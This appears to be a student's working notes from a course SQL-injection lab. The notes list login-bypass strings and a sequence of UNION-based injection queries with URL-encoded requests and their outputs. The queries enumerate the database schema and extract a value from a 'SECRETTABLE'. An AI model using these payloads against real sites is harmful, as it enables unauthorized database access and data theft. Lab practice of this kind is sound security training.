2.2.1.1

victim in username

' or 1='1'' in password

Value: username=victim&password=%27%20or%201%3D%271%27%27

2.2.1.2

username: victim

password: \' or 1=1-- -

‘||;#

Value: username=victim&password=%5C%27%20or%201%3D1--%20-

2.2.1.4

http://permalink.co/sqlinject3/?id=1

First name: Gulshan

Last name: Singh

http://permalink.co/sqlinject3/?id=2

First name: Travis

Last name: Finkenauer

http://permalink.co/sqlinject3/?id=3

First name: Jonathan

Last name: Pevarnek

http://permalink.co/sqlinject3/?id=4

First name: Alex

Last name: Halderman

**Find Version**

Query: ' union all select null, null, @@version#

http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+%40%40version%23

First name: \_\_\_\_

Last name: 5.5.44-0ubuntu0.14.04.1

Query: ' union all select null, null, SCHEMA\_NAME from INFORMATION\_SCHEMA.SCHEMATA#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+SCHEMA_NAME+from+INFORMATION_SCHEMA.SCHEMATA%23>

First name:

Last name: information\_schema

**Find DB**

Query: ' union all select null, null, database()#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+database%28%29%23>

First name:

Last name: proj2\_xtra\_cr3dit

' union all select null, null, column\_name FROM information\_schema.columns WHERE column\_name LIKE '%id%'#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+column_name+FROM+information_schema.columns+WHERE+column_name+LIKE+%27%25id%25%27%23>

Last name: ID

' union all select null, null, table\_name FROM information\_schema.columns WHERE column\_name LIKE '%id%'#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+column_name+LIKE+%27%25id%25%27%23>

Last name: COLLATIONS

' union all select null, null, table\_name FROM information\_schema.columns WHERE column\_name LIKE '%id%' limit 1,1#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+column_name+LIKE+%27%25id%25%27+limit+1%2C1%23>

Last name: FILES

' union all select null, null, table\_name FROM information\_schema.columns WHERE column\_name LIKE '%id%' limit 2,1#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+column_name+LIKE+%27%25id%25%27+limit+2%2C1%23>

Last name: PARAMETERS

' union all select null, null, table\_name FROM information\_schema.columns WHERE column\_name LIKE '%id%' limit 3,1#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+column_name+LIKE+%27%25id%25%27+limit+3%2C1%23>

Last name: PROCESSLIST

' union all select null, null, table\_name FROM information\_schema.columns WHERE column\_name LIKE '%id%' limit 4,1#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+column_name+LIKE+%27%25id%25%27+limit+4%2C1%23>

Last name: PROFILING

' union all select null, null, table\_name FROM information\_schema.columns WHERE column\_name LIKE '%id%' limit 5,1#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+column_name+LIKE+%27%25id%25%27+limit+5%2C1%23>

Last name: ROUTINES

' union all select null, null, table\_name FROM information\_schema.columns WHERE column\_name LIKE '%id%' limit 6,1#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+column_name+LIKE+%27%25id%25%27+limit+6%2C1%23>

Last name: TABLESPACE

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+column_name+LIKE+%27%25id%25%27+limit+7%2C1%23>

Last name: INNODB\_BUFFER\_PAGE

same for 8

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+column_name+LIKE+%27%25id%25%27+limit+9%2C1%23>

Last name: INNODB\_TRX

Same for 10, 11

12

Last name: INNODB\_BUFFER\_POOL\_STATS

13

Last name: INNODB\_LOCK\_WAITS

Same for 14-16

17

INNODB\_LOCKS

Same for 18

19

INNODB\_BUFFER\_PAGE\_LRU

20

SECRETTABLE

21

foo

22

inject3\_users

23

No return\*\*\*

**Find all Tables**

' union all select null, null, table\_name FROM information\_schema.columns WHERE table\_name LIKE 'a%' limit 0,1#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+table_name+LIKE+%27a%25%27+limit+0%2C1%23>

[http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table\_name+FROM+information\_schema.columns+WHERE+table\_name+LIKE+%27b%25%27+limit+0%2C1%23](http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+table_name+LIKE+%27a%25%27+limit+0%2C1%23)

' union all select null, null, table\_name FROM information\_schema.columns WHERE table\_name LIKE 'c%' limit 0,1#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+FROM+information_schema.columns+WHERE+table_name+LIKE+%27c%25%27+limit+0%2C1%23>

CHARACTER\_SETS

Go through limits until reach nothing

COLLATIONS

COLLATION\_CHARACTER\_SET\_APPLICABILITY

COLUMNS

COLUMN\_PRIVILEDGES

e

ENGINES

EVENTS

f

FILES

foo

g

GLOBAL\_STATUS

GLOBAL\_VARIABLES

i

INNODB\_BUFFER\_PAGE

INNODB\_TRX

INNODB\_BUFFER\_POOL\_STATS

INNODB\_LOCK\_WAITS

INNODB\_CMPMEM

INNODB\_CMP

INNODB\_LOCKS

INNODB\_CMPMEM\_RESET

INNODB\_CMP\_RESET

INNODB\_BUFFER\_PAGE\_LRU

inject3\_users

k

KEY\_COLUMN\_USAGE

p

PARAMETERS

PARTITIONS

PLUGINS

PROCESSLIST

PROFILING

r

REFERENTIAL\_CONSTRAINTS

ROUTINES

s

SCHEMATA

SCHEMA\_PRIVILEGES

SESSION\_STATUS

SESSION\_VARIABLES

STATISTICS

SECRETTABLE

t

TABLES

TABLESPACES

TABLE\_CONSTRAINTS

TABLE\_PRIVILEGES

TRIGGERS

u

USER\_PRIVILEGES

v

VIEWS

**Find Secret**

' union all select null, ordinal\_position, column\_name FROM information\_schema.columns where table\_name='SECRETTABLE' and ordinal\_position=1#  
<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+ordinal_position%2C+column_name+FROM+information_schema.columns+where+table_name%3D%27SECRETTABLE%27+and+ordinal_position%3D1%23>

First name: 1

Last name: id

' union all select null, ordinal\_position, column\_name FROM information\_schema.columns where table\_name='SECRETTABLE' and ordinal\_position=2#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+ordinal_position%2C+column_name+FROM+information_schema.columns+where+table_name%3D%27SECRETTABLE%27+and+ordinal_position%3D2%23>

First name: 2

Last name: secret

' union all select null, id, secret FROM SECRETTABLE limit 0,1#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+id%2C+secret+FROM+SECRETTABLE+limit+1%2C1%23>

First name: 1

Last name: hunter2

Query: ' union all select null, null, table\_name from information\_schema.tables where table\_name like '%u%'#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+from+information_schema.tables+where+table_name+like+%27%25u%25%27%23>

First name:

Last name: COLUMNS

Query: ' union all select null, null, table\_name from information\_schema.tables where table\_name like '%a%'#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+from+information_schema.tables+where+table_name+like+%27%25a%25%27%23>

First name:

Last name: CHARACTER\_SETS

Query: ' union all select null, null, table\_name from information\_schema.tables where table\_name like 'a%'#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+from+information_schema.tables+where+table_name+like+%27a%25%27%23>

Query: b

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+from+information_schema.tables+where+table_name+like+%27b%25%27%23>

Query: c

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+from+information_schema.tables+where+table_name+like+%27c%25%27%23>

Last name: CHARACTER\_SETS

Query: d

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+null%2C+table_name+from+information_schema.tables+where+table_name+like+%27d%25%27%23>

…..

e

Last name: ENGINES

f

Last name: FILES

g

Last name: GLOBAL\_STATUS

h

i

Last name: INNODB\_BUFFER\_PAGE

j

k

Last name: KEY\_COLUMN\_USAGE

l

m

n

o

p

PARAMETERS

q

r

REFERENTIAL\_CONSTRAINTS

s

SCHEMATA

t

TABLES

u

USER\_PRIVILEGES

v

VIEWS

w

x

y

z

Query: ' union all select null, ordinal\_position, column\_name from information\_schema.columns where table\_name = 'TABLES'#

http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+ordinal\_position%2C+column\_name+from+information\_schema.columns+where+table\_name+%3D+%27TABLES%27%23

First name: 1

Last name: TABLE\_CATALOG

Query: ' union all select null, ordinal\_position, column\_name from information\_schema.columns where table\_name = 'TABLES' and ordinal\_position=2#

<http://permalink.co/sqlinject3/?id=Query%3A+%27+union+all+select+null%2C+ordinal_position%2C+column_name+from+information_schema.columns+where+table_name+%3D+%27TABLES%27+and+ordinal_position%3D%272%27%23>

First name: 2

Last name: TABLE\_SCHEMA

Query: ' union all select null, ordinal\_position, column\_name from information\_schema.columns where table\_name = 'TABLES' and ordinal\_position=3#

<http://permalink.co/sqlinject3/?id=%27+union+all+select+null%2C+ordinal_position%2C+column_name+from+information_schema.columns+where+table_name+%3D+%27TABLES%27+and+ordinal_position%3D3%23>

First name: 3

Last name: TABLE\_NAME